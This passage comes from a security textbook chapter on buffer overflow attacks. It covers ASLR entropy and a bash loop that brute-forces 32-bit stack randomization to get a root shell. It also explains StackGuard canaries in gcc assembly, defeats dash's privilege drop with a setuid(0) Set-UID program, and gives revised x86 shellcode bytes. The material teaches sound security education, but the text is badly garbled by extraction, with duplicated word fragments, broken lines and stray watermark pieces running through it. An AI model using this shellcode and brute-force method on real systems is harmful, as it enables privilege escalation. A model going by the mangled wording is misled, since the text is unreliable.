buff y (on heap) : 0x804b008
$ a.out
.out
Address
ess of buffer
buf x (on stack): 0xbf8c49d0 ¥ changed
Address of
f buffer
b y (on heap) : 0x804b008
90 CHAPTER 4. BUFFER OVERFLOW ATTACK

// Randomizing stack and heap address

pter
$ sudo sysctl -w kernel.randomize va space=2
kernel.randomize_va_space = 2
$ a.out
Address of buffer x (on stack): 0xbf9c76f0
Address of buffer y (on heap) : 0x87e6008
$ a.out
Address of buffer x (on stack): 0xbfe69700 ¥ changed
d
Address of buffer y (on heap) : 0xa020008 ¥ changed
ed

4.9.2 Effectiveness of Address Randomization

Cha
The effectiveness on address randomization depends on several veral factors. A complete
comp
c imple-
mentation of ASLR wherein all areas of process are located ed at random
andom places
plac may
m result in
compatibility issues. A second limitation sometimes is the he reduced
duced range of thet addresses
available for randomization [Marco-Gisbert and Ripoll, 2014]. 014].
One way to measure the available randomness in address dress space is entropy.
entropy If a region of
ent
memory space is said to have n bits of entropy, it implies pliess that on that
tha system,
syst the region’s
base address can take 2n locations with an equal probability.
ability. Entropy depends
depen on the type of
d
ASLR implemented in the kernel. For example, in the 32-bit32 nux OS, w
Linux when static ASLR is
used (i.e., memory regions except program image aree randomized), the th available
ava entropy is 19
bits for stack and 13 bits for heap [Herlands et al., 2014].
014].
4].
In implementations where the available entropy for randomization
andomizati is not enough, attackers
can resolve to brute-force attacks. Proper implementations of ASLR (like those available in
grsecurity [Wikipedia, 2017j]) provide methods hods to make
mak brute force attacks infeasible. One
approach is to prevent an executable from executing
utingg for a configura
confi
configurable amount of time if it has
ple
crashed a certain number of times [Wikipedia, 2017b]. 7b

Defeating stack randomization on 32-bit machine. A As menti

mentioned above, on 32-bit Linux
ropy, which means
machines, stacks only have 19 bits of entropy, mean the
th stack base address can have
219 = 524, 288 possibilities. This numberer is not that high
h and can be exhausted easily with
the brute-force approach. To demonstratee this,
s, we write the
t fo
following script to launch a buffer
overflow attack repeatedly, hoping thatt our guess on the
th memory
me address will be correct by
chance. Before running the script, wee need
ed to turn on the memory
m randomization by setting
Sam

kernel.randomize va space to 2.

Listing 4.4: Defeat stackk randomization

randomiza (defeat
( rand.sh)
#!/bin/bash

SECONDS=0
value=0

while [ 1 ]
do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
4.10. STACKGUARD 91

echo "The program has been running $value

ue times
t so far."

pter
./stack
done

In the above attack, we have prepared thee malicious

cious input in b
badfile, but due to the
memory randomization, the address we put in n the input may not beb correct. As we can see
from the following execution trace, when thee address is incorrect,
incorre
in the program will crash
(core dumped). However, in our experiment,nt, after
er running the script for a little bit over 19
minutes (12524 tries), the address we put in n badfile
badfil happ happened to be correct, and our
shellcode gets triggered.

Cha
......
19 minutes and 14 seconds elapsed.
sed.
The program has been running 12522 times
tim so far.
...: line 12: 31695 Segmentation
ntation fault (core dumped) ./stack
19 minutes and 14 seconds elapsed.
lapsed.
The program has been running
nning 12523 times
t so far.
...: line 12: 31697 Segmentation
gmentation fault
f (core dumped) ./stack
19 minutes and 14 seconds
nds elapsed.
The program has been running
unning 12524 times so far.
# ¥ Got the root shell!
ell!

We did the above experiment

perim on a 32-bit
bit Linux machine (our pre-built VM is a 32-bit
machine). For 64-bit machines,
chines,
es, the brute-force
brut attack will be much more difficult.
ple

Address randomization tion on Android.

Android A popular attack on Android called stagefright was
ikipedia, 2017w].
discovered in 2015 [Wikipedia, 20 The bug was in Android’s stagefright media library,
and it is a buffer overflow
erfloww problem. A Andro
Android has implemented ASLR, but it still had a limitation.
As discussed by Google’s le’s researchers,
researc exploiting
e the attack depended on the available entropy
in the mmap process
cess memory regio
region. O
On Android Nexus 5 running version 5.x (with 32-bit), the
entropy was onlyy 8-bit or 256 possibilities,
possi
possibil making brute-force attacks quite easy [Brand, 2015].
Sam

4.10 StackGuard
tackGuard
kGuard
Stack-based
sed buffer
uffer overflow attacks
att need to modify the return address; if we can detect whether
the return
rn address
ddress is modified
mod before returning from a function, we can foil the attack. There
are manyny ways
ays to achieve
achie that.
th One way is to store a copy of the return address at some other
place (not on n the stack, so it
i cannot be overwritten via a buffer overflow), and use it to check
her the return address
whether ad is modified. A representative implementation of this approach is
ckshield [Angelfire.com,
Stackshield [Angelfire.co 2000]. Another approach is to place a guard between the return
[Angel
address
ress and the buffer,
dress buf and use this guard to detect whether the return address is modified
or not. representative implementation of this approach is StackGuard [Cowa et al., 1998].
ot. A represen
representativ
StackGuard rd has been
b iincorporated into compilers, including gcc. We will dive into the details
of this countermeasure.
asur
92 CHAPTER 4. BUFFER OVERFLOW ATTACK

4.10.1 The Observation and the Idea

pter
Stack (Highaddress)
grows

ReturnAddress

Guard

Buffercopy
Buffer c
Cha
buffer[11]

buffer[0]
(Lowaddress)
(Low ad

Figure 4.12: The idea off StackGuard

St

The key observation of StackGuard is that for a buffer fer

er overflow attac
attack to modify the return
address, all the stack memory between the buffer and the return rn address
addre will be overwritten.
This is because the memory-copy functions, such ch as str
strcpy() and memcpy(), copy data
into contiguous memory locations, so it is impossible
ssiblee to selectively
selecti affect some of the locations,
ple
while leaving the other intact. If we do not wantt to affect
ffect the value
valu in a particular location during
the memory copy, such as the shaded position marked ed as Guard in Figure 4.12, the only way to
achieve that is to overwrite the location withh the same value that t is i stored there.
Based on this observation, we can placee some non-predictable
non-predic value (called guard) between
the buffer and the return address. Before returning
urning from tthe function,
fu we check whether the
value is modified or not. If it is modified, d, chances
hances are that
th theth return address may have also
been modified. Therefore, the problem of detectingtecting whether
wheth the th return address is overwritten is
reduced to detecting whether the guard is overwritten.
erwritten. These two problems seem to be the same,
ue off the return address,
but they are not. By looking at the value addres we do not know whether its value
Sam

is modified or not, but since the valueue of the guard is placed

plac by us, it is easy to know whether
the guard’s value is modified or not. t.

4.10.2 Manually Adding

g Code
de to Fun
Functio
Function
Let us look at the following function,
unction,
ion, and think
thin about
ab whether we can manually add some
ction, so in case the buffer
code and variables to the function, b is overflown and the return address
is overwritten, we can preempt
mpt
pt the returning from
f the function, thus preventing the malicious
code from being triggered. Ideally, the code we add
ad to the function should be independent from
the existing code of the function;
nction; this way, we can
c use the same code to protect all functions,
regardless of what their functionalities
unctionalities
nctionalities are.
void foo (char *str)
{
4.10. STACKGUARD 93

char buffer[12];

pter
strcpy (buffer, str);
return;
}

First, let us place a guard between the buffer fer

er and the return address.
addr We can easily achieve
that by defining a local variable at the beginning nninging of the function.
function
func It should be noted that in
reality, how local variables are placed on the stack and in what order ord is decided by the compiler,
so there is no guarantee that the variable defined
finedd first in the source
sourc code will be allocated closer
to the return address. We will temporarily ignore ore this fact, and assume
a that the variable (called
guard) is allocated between the return address ss and the rest
re of the function’s local variables.
We will initialize the variable guard ard with a secret. T This secret is a random number

Cha
generated in the main() function, so o every
ery time the program
prog runs, the random number is
different. As long as the secret is not predictable,
ctable, if the
th overflowing
ove of the buffer has led to the
modification of the return address, itt must have ave also overw
ooverwritten the value in guard. The only
way not to modify guard while still till being able to modify
mod the return address is to overwrite
guard with its original value. Therefore,
herefore, attackers
attacker need ne to guess what the secret number is,
which is difficult to achieve if thee number
umber is random
ran and
an large enough.
One problem we need to solve olve is to find a placep to store the secret. The secret cannot be
stored on the stack; otherwise, its value can alsoal be overwritten. Heap, data segment, and BSS
segment can be used to storee this secret. It shouldsshoul be noted that the secret should never be
hard-coded in the code; or it willll not be a secret
secr at all. Even if one can obfuscate the code, it is
just a matter of time before attackers
kers
ers can find
fin the secret value from the code. In the following
code, we define a global variable
aria called secret,cret and we initialize it with a randomly-generated
number in the main() function (no (not
( shown). As we have learned from the beginning of the
section, uninitialized global
obal variables are
a allocated
allo in the BSS segment.
ple
// This global variable
ble will be initialized with a random
// number in the main() function.
func
int secret;

void foo (char *str)

str
{
int guard;
guard = secret;
ret; ¥ Assigning a secret value to guard
Sam

char buffer[12];
r[12
strcpy (buffer,
uffer, str);
st

if (guard
d == secret)
secr ¥ Check whether guard is modified or not
return;
rn;
else
exit(1);
t(1);
}

From the above codecode, we can also see that before returning from the function, we always
check
eck
ck whether the vvalue in the local variable guard is still the same as the value in the global
variable
riable
ble secret
secret.. If th they are still the same, the return address is safe; otherwise, there is a
ibility
ility that
high possibility t the th return address may have been overwritten, so the program should be
terminated.
94 CHAPTER 4. BUFFER OVERFLOW ATTACK

4.10.3 StackGuard Implementation in gcc

pter
The manually added code described above illustrates how StackGuard works. orks. Since the added
ad
code does not depend on the program logic of the function, we can ask compilerspilers to do that
t forfo
us automatically. Namely, we can ask compilers to add the same code to each ch function:
function at the
th
beginning of each function, and before each return instruction inside thehe function.
The gcc compiler has implemented the StackGuard countermeasure. measure.
asure. If you recall,
recal at
the beginning of this chapter, when we launched the buffer overflow flow attack,
ttack, we had
ha to turn
off the StackGuard option when compiling the vulnerable program. am. Let us see what codec is
added to each function by gcc. We use our pre-built 32-bit x86-based
86-based
ased Ubuntu VM in our
investigation. The version of gcc is 4.6.3. The following listing showss the program from before,
but containing no StackGuard protection implemented by the developer. oper.

Cha
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

void foo(char *str)

{
char buffer[12];

/* Buffer Overflow Vulnerability */

strcpy(buffer, str);
}

int main(int argc, char *argv[]){

foo(argv[1]);
ple
printf("Returned Properly \n\n");
return 0;
}

We run the above code with arguments nts off different length.
le In the first execution, we use a
short argument, and the program returns properly. erly. In the ssecon
second execution, we use an argument
that is longer than the size of the buffer. Stackguard
guard can detect
de the buffer overflow, and terminates
the program after printing out a "stack ck smashing detected"det message.
Sam

$ gcc -o prog prog.c

$ ./prog hello
Returned Properly

$ ./prog hello00000000000
d ***:
*** stack smashing detected ./
./prog terminated

To understand how StackGuard

Guard is implemented
impleme in gcc, we examine the assembly code of
the program. We can ask gccc to generate the asse
assembly code by using the "-S" flag (gcc -S
prog.c). The assembly codeode is shown in the
t listing
list below. The sections where the guard is set
and checked are highlighted.
ed.
d.
4.10. STACKGUARD 95

foo:

pter
.LFB0:
.cfi_startproc
pushl %ebp
.cfi_def_cfa_offset 8
.cfi_offset 5, -8
movl %esp, %ebp
.cfi_def_cfa_register 5
subl $56, %esp
movl 8(%ebp), %eax
movl %eax, -28(%ebp)
// Canary Set Start
movl %gs:20, %eax

Cha
movl %eax, -12(%ebp)
xorl %eax, %eax
// Canary Set End
movl -28(%ebp), %eax
movl %eax, 4(%esp)
leal -24(%ebp), %eax
ax
movl %eax, (%esp)
call strcpy
// Canary Check Start
art
movl -12(%ebp), %eax
ax
xorl %gs:20, %eax
je .L2
call stack chk fail
// Canary Check End
.L2:
p le
leave
.cfi_restore 5
.cfi_def_cfa 4, 4
ret
.cfi_endproc

We first examine
mine the code that sets the guard value on stack. The relevant part of the code is
shown in the listing
ting below.
elow. In StackGuard,
StackG
Sta the guard is called canary.
Sam

movl %gs:20,
, %eax
movl %eax, -12(%ebp)
-12
xorl %eax,
, %eax

The code
ode above
ove first takes
ta a value from %gs:20 (offset 20 from the GS segment register,
which points
oints to a memory region
reg isolated from the stack). The value is copied to %eax, and
then further
rther copied to %ebp-
%ebp-12. From the assembly code, we can see that the random secret
%e
used byy StackGuard
ckGuard is store
stored at %gs:20, while the canary is stored at location %ebp-12 on
the stack.
tack.
ack. The code basically
basica
ba copies the secret value to canary. Let us see how the canary is
checked
ked before function
fun return.
re
movl -12(%
-12(%ebp), %eax
xorl
orl %gs:20,
%gs: %eax
je .L2
L2
call __stack_chk_fail
96 CHAPTER 4. BUFFER OVERFLOW ATTACK

.L2:

pter
leave
ret

In the code above, the program reads the canary on the stack from thee memory
mory at %ebp-1
%ebp-12,
eb
and saves the value to %eax. It then compares this value with the value alue at
a %gs:20
%gs:20, wh where
canary gets its initial value. The next instruction, je, checks if thee result of the previous
prev
operation (XOR) is 0. If yes, the canary on the stack remains intact, indicating
ating that no overflow
ove
has happened. The code will proceed to return from the function. on. If je detdetected th
that the
XOR result is not zero, i.e., the canary on the stack was not equal
al to the
he value at %gs
%gs:20, an
overflow has occurred. The program call stack chk fail, whichh prints an error e message
and terminates the program.

Cha
Ensuring Canary Properties As discussed before, for thee StackGuard ckGuard solution,
solution
so the secret
value that the canary is checked against needs to satisfy twoo requirements:
ements:
• It needs to be random.
• It cannot be stored on the stack.
The first property is ensured by initializing the canary
ary value using /dev/
/dev/urandom. More
/d
details about it can be found at the link [xorl, 2010]. The
he second prope
property is ensured by keeping
a copy of the canary value in %gs:20. The memory oryy segment point
pointed by
b the GS register in
Linux is a special area, which is different from thee stack,
tack, heap, BSS
BS segment,
se data segment,
and the text segment. Most importantly, this GS segment iss physically
physic isolated
i from the stack,
so a buffer overflow on the stack or heap will not be able
a to change anything
anyt in the GS segment.
On 32-bit x86 architectures, gcc keeps the canary ary value
alue at
a offset
o 20 from %gs and on 64-bit
x86 architectures, gcc stores the canary value at offset
ffset 40 from
fro %gs.
%g
ple

4.11 Defeating the Countermeasure

rmeasure
measure in bash
ba and dash
As we have explained before, the dash shell
hell in Ubuntu 16.04
16 drops
d privileges when it detects
that the effective UID does not equal to thee real UID.
UID This
Thi can be observed from dash
program’s changelog. We can see an additional
ional check in Line
L Œ, which compares real and
effective user/group IDs.
Sam

// main() function in main.c has

s the following
fol changes:

++ uid = getuid();
++ gid = getgid();

++ /*
++ * To limit bogus system(3)
em(3) or popen(3)
p calls in setuid binaries,
++ * require -p flag to work in this
t situation.
++ */
++ if (!pflag && (uid id != geteuid()
geteui || gid != getegid())) { Œ
++ setuid(uid);
++ setgid(gid);
++ /* PS1 might need
eed to be changed accordingly. */
++ choose_ps1();
++ }
4.11. DEFEATING THE COUNTERMEASURE IN BASH AND DASH 97

The countermeasure implemented in dash can be defeated.

efeat One approach
ap is not to invoke

pter
/bin/sh in our shellcode; instead, we can invoke oke another
other shell
shel program.
pro This approach
requires another shell program, such as zsh to be present
sent in the sys
system.
system Another approach is to
change the real user ID of the victim process too zero
o before invoking
inv dash. We can achieve
this by invoking setuid(0) before executing ng execve()
ecve() in the shellcode. Let us do an
experiment with this approach. We first changegee the /bin/sh symb symbolic link, so it points back
to /bin/dash (in case we have changed it to zsh sh before):
$ sudo ln -sf /bin/dash /bin/sh

To see how the countermeasure in dash

ash works and ho
how to defeat it using the system call
setuid(0), we write the following C program.

Cha
// dash_shell_test.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
char *argv[2];
argv[0] = "/bin/sh";
";
argv[1] = NULL;

setuid(0); // Set real UID to

t 0 Œ
execve("/bin/sh", argv,
gv NULL);
NUL

return 0;
}
ple
The above programm can be compiled and set up using the following commands (we need to
make it root-owned Set-UID
et-UID program):
program
$ gcc dash_shell_test.c
est.c -o dash_shell_test
$ sudo chown root
t dash_shell_test
dash_sh
$ sudo chmod 4755
5 dash_shell_test
dash_sh
$ dash_shell_test
st
# ¥ Got the root shell!
Sam

After running
ning the d get a root shell. If we comment out Line Œ, we will only
he program, we did
get a normall shell,
ll, because dash
d has dropped the root privilege. We need to turn setuid(0)
into binary code,
e, so we can add iit to our shellcode. The revised shellcode is described below.

Listing 4.5 Revised shellcode (revised shellcode.py)

4.5: Re
shellcode=
= (
"\x31\xc0"
\xc0" # xorl %eax,%eax Œ
"\x31\xdb"
\x31\xdb" # xorl %ebx,%ebx 
"\xb0\xd5" # movb $0xd5,%al Ž
"\xcd\x80" # int $0x80 
#---- The c
code below is the same as the one shown before ---
"\x31\xc0" # xorl %eax,%eax
"\x50"
" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
98 CHAPTER 4. BUFFER OVERFLOW ATTACK

"\x68""/bin" # pushl $0x6e69622f

pter
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
).encode(’latin-1’)

The updated shellcode adds four instructions at the beginning: The first and third inst
instructions
together (Lines Œ and Ž) set eax to 0xd5 (0xd5 is setuid()’s ()’s system
ystem call numb
number).
nu The
second instruction (Line ) sets ebx to zero; the ebx registerr is used to pass the argument
ar 0

Cha
to the setuid() system call. The fourth instruction (Line ) invokes vokes the system
sys call. Using
this revised shellcode, we can attempt the attack on the vulnerable
erable program when
w /bin/sh is
linked to /bin/dash.
If we use the above shellcode to replace the one used in exploit.py
ploit.py (Listin
((Listing 4.2), and try
the attack again, we will be able to get a root shell, even though
hough we do not use zsh any more.

4.12 Summary
Buffer overflow vulnerabilities are caused when a program
rogram
gram puts data into
i a buffer but forgets to
check the buffer boundary. It does not seem that such a mistake can caus cause a big problem, other
than crashing the program. As we can see from this chapter, when a buffer b is located on the
stack, a buffer overflow problem can cause the return addressad on the stack to be overwritten,
resulting in the program to jump to the location specifiedified by the
th ne
new return address. By putting
ple
malicious code in the new location, attackers cann get the victim pprogra
program to execute the malicious
code. If the victim program is privileged, such uch ass a Set-UID
Set-UI p program, a remote server, a
device driver, or a root daemon, the malicioususs code can be executed
exe
execute using the victim program’s
privilege, which can lead to security breaches.
hes.
Buffer overflow vulnerability was the number ber one vulnerability
vulnerabi
vulne in software for quite a long
time, because it is quite easy to make suchh mistakes.
takes. Developers
Developer
Deve should use safe practices when
saving data to a buffer, such as checking ng thee boundary or specifying
sp how much data can be
copied to a buffer. Many countermeasuressures have been developed,
devel
deve some of which are already
incorporated in operating systems, compilers,
ompilers,
lers, software development
dev tools, and libraries. Not
Sam

all countermeasures are fool-proof; somee can be easilyeas defeated,

d such as the randomization
countermeasure for 32-bit machines and the non-exec
non-executab
non-executable stack countermeasure. In Chapter 5,
we show how to use the return-to-libc
ibc attack
ttack to defeat
defea the non-executable stack countermeasure.

Ë Hands-on Lab Exercise

xercise
ise
We have developed a SEED D lab for this chapter.
cha T lab is called Buffer-Overflow Vulnerability
The
Lab, and it is hosted on thee SEED website: htt https://seedsecuritylabs.org.
The learning objectivee off this lab is for stud
students to gain the first-hand experience on buffer-
overflow vulnerability by putting g what they have learned about the vulnerability from class
into action. In this lab, students will be given
ive a program with a buffer-overflow vulnerability;
4.12. SUMMARY 99

their task is to develop a scheme to exploit the vulnerability

nerability
ility and finally gain the root privilege.

pter
In addition to the attacks, students will be guided to walk k through several
sever protection schemes
that have been implemented in the operating system em too counter against
aga buffer-overflow attacks.
Students need to evaluate whether the schemes work or not and explain eexpla why.
We have also developed a CTF version (Catch atch The
he Flag) for this lab, where the instructor
sets up a vulnerable server for students to attack.
ack.
k. Students will work
wor in teams during this CTF
competition. Unlike the lab version, the CTF F version
rsion does notno tell students all the information
needed for the attack, such as the buffer size and the
he address of the bbuffer; only the ranges of these
values will be provided. Students need to develop elop a good strategy,
strate so they can succeed in the
shortest amount of time. This version of lab iss conducted in a classroom
c setting, and students’
grades will depend on how fast they can an succeed.
ceed. During
Durin the t competition, the instructor’s
computer will be projected to the screen;n; as soon as a team’s aattack is successful, their team flag

Cha
will show up on the screen. This versionon of lab has not been
b h
hosted on the SEED website yet, so
instructors who are interested in this CTF lab can contact
cont the t author for detailed instructions.

Ë Problems and Resources

urces
The homework problems, slides,, and source code for this chapter can be downloaded from the
book’s website: https://www.handsonsecurity.net/.
ww.handsons
ww.handsonsecur
ple
Sam